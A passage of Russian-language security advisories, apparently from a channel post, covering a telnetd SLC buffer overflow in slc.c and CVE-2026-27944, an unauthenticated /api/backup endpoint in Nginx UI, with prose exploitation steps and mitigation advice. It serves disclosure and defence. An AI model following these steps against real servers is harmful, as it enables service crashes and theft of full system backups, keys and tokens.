    *slcptr++ = 0xff;

  if ((*slcptr++ = (unsigned char) val) == 0xff)
    *slcptr++ = 0xff;

}

Если клиент отправляет SLC-триплеты с кодами функций выше допустимого NSLC = 18, сервер формирует ответы not supported, добавляя каждый триплет в буфер через add_slc(). Из-за отсутствия проверки границ после порядка 35 триплетов slcbuf переполняется и запись идет за пределы 104 байт — это повреждает данные в BSS, включая указатель slcptr. При последующей обработке в end_slc() используется уже повреженный указатель, что вызывает запись по некорректному адресу и приводит к принудительному завершению процесса. 🫡 Шаги эксплуатации 1) Подключение злоумышленника к telnetd и прохождение negotiation, автоматически соглашаясь со всеми опциями сервера. 2) Инициация LINEMODE командой WILL LINEMODE: она доводит сессию до состояния, при котором сервер подтверждает режим DO LINEMODE и готов обрабатывать suboptions. 3) После активации LINEMODE отправляется Telnet-пакет IAC SB LINEMODE SLC ... IAC SE с избыточным числом SLC-триплетов. 4) Сервер обрабатывает триплеты в slc.c, последовательно записывая их в буфер slcbuf без должной проверки границ. 5) При превышении допустимого количества элементов буфера переполняется, память процесса повреждается. Это приводит к крашу telnetd. 🫡 Как защититься Уязвимость еще не исправлена, поэтому ограничьте внешний доступ к telnetd или откажитесь от его использования до выхода исправления.

Спасибо за backup CVE-2026-27944 — уязвимость, которая позволяет получить полную резервную копию системы неаутентифицированному злоумышленнику. Проблема затрагивает Nginx UI версий ниже 2.3.3. Nginx UI — это веб-интерфейс для веб-сервера Nginx. 😬Метрики:

Base Score: 9.8 CRITICAL CWE: CWE-306, CWE-311

😬Подробнее об уязвимости: В версиях Nginx UI присутствует уязвимая конечная точка /api/backup, которая позволяет получить полный backup системы. Уязвимость возникает из-за отсутствия механизма проверки аутентификации при обращении к данной конечной точке. Ситуация усугубляется тем, что ключ для расшифровки backup, передается сервером в заголовке HTTP-ответа X-Backup-Security. Это позволяет злоумышленнику получить и расшифровать резервную копию системы. Пример приведен на скриншоте. 😬Шаги эксплуатации: 1️⃣ Отправка GET-запроса к уязвимой конечной точке /api/backup без аутентификации. 2️⃣ Получение зашифрованного файла резервной копии в теле ответа. 3️⃣ Получение ключа шифрования из заголовка ответа X-Backup-Security. 4️⃣ Расшифровка резервной копии. 😬Как защищаться: 1) Обновиться. 2) Провести аудит запросов к уязвимой конечной точке /api/backup. 3) Ограничить доступ к конечной точке из общей сети. Например, с помощью правил WAF/IDS или белых списков. 4) Сменить пароли, SSL ключи и API токены. 5) Внедрить дополнительную аутентификацию (например, HTTP Basic Authentication) на уровне reverse-proxy.